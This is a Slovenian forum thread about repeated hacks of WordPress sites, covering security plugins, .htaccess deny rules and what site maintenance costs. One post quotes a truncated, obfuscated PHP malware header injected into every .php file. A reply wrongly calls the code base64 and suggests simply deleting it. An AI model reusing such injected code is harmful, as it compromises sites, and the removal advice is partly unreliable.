Nenehni vdori na Wordpress strani

Tele vdori so stvar ponudnika ali kakega plugina. Jaz sem imel enkrat en plugin ki je poslal takoj mail ko je ugotovil da se datoteke na strani spremenijo in to ti je signal da moreš nekaj narediti. Tukaj je blog od enega hostinga kako se oni spopdajao s tem

http://www.a2hosting.com/blog/stay-away-from-wordpress-security-plugins

Hočem rečt maš lahko kup pluginov ampak z vsakim je pomoje tveganje večje.

Limiti login

Ja dejansko je tole postalo nevzdržno. Sploh si ne moreš več privoščit, da bi nekomu naredil page v enem CMS in ga pustil nedotaknjenega za par mesecev.. V bistvu moraš vsak teden si vzet 15minut časa, da pregledaš page, če je vse OK, če so kakšni novi faili nastal itd..

Konec je časov 1x plačila za postavitev spletnega portala. Mislim, da je potrebno ponujati tudi mesečno vzdrževanje spletnih strani, ne samo zaradi hostinga ampak tudi zaradi varnosti. Že kdo to izvaja in kje se gibljejo cene?

d3:

Ja dejansko je tole postalo nevzdržno. Sploh si ne moreš več privoščit, da bi nekomu naredil page v enem CMS in ga pustil nedotaknjenega za par mesecev.. V bistvu moraš vsak teden si vzet 15minut časa, da pregledaš page, če je vse OK, če so kakšni novi faili nastal itd..

Konec je časov 1x plačila za postavitev spletnega portala. Mislim, da je potrebno ponujati tudi mesečno vzdrževanje spletnih strani, ne samo zaradi hostinga ampak tudi zaradi varnosti. Že kdo to izvaja in kje se gibljejo cene?

Kdaj si pa ti začel strani delat, da si šele zdaj to pogruntal? :))

Podpora strankam je no.1 ponudba od nekdaj ;)

Ja dobr ni treba bit pametn zdj :))) pac zanima me kolk casa namenite varnosti in kolk dodatno racunate za to

Ali lahko kak boljši poznavalec za vse nas, ki to nismo, napiše kaj točno je potrebno storiti in prilepi kodo?

Tody, hvala za link. Takšne konkretne nasvete bi pričakoval tudi od domačih ponudnikov gostovanj in bi vsi imeli precej manj dela in težav. Je to, kar predlaga ta hosting OK? http://www.a2hosting.com/kb/security/application-security/wordpress-security

Preko iThemes Security je bil med drugim narejen deny:

             <files .htaccess>

        Order allow,deny

        Deny from all

    </files>

    <files readme.html>

        Order allow,deny

        Deny from all

    </files>

    <files readme.txt>

        Order allow,deny

        Deny from all

    </files>

    <files install.php>

        Order allow,deny

        Deny from all

    </files>

    <files wp-config.php>

        Order allow,deny

        Deny from all

    </files>

Ali je ta security vtičnik samo za hec? Torej moram še enkrat narediti deny v .htacces in config.php?

iThemes je našponan do konca, razen SSL in še nečesa, Limit Login Attempts je vključen.

Nič ne pomaga, zadnje mesece samo še restoramo :-(

Vsaka .php datoteka ima na začetku vstavljeno morje znakov:

<?php if(!isset($GLOBALS["\x61\156\x75\156\x61"])) {$ua=strtolower($_SERVER["\x48\124\x54\1 ............

Kaj pomaga, če to zbrišem? Ali z brisanjem sesujem stran?

Ja to je base64 kodirana koda. Briši.

Najbolje bi bilo sicer gor dat backup verzijo pa updatat vse

d3:

Mislim, da je potrebno ponujati tudi mesečno vzdrževanje spletnih strani, ne samo zaradi hostinga ampak tudi zaradi varnosti. Že kdo to izvaja in kje se gibljejo cene?

Mi to nudimo za 55 EUR + DDV na leto za WP, Joomla in podobno.

Redna mesečna tehnična podpora je priporočljiva, izvaja se naj vsaj 1x na 3 mesece. Cena je odvisna od obsega spletne strani - od 25€ - 100€ na mesec. Odvisno od dogovora s stranko kaj podpora zajema. Pogodba se podpiše za čas zakupa domene in ob podaljšanju zakupa praviloma tudi podaljša.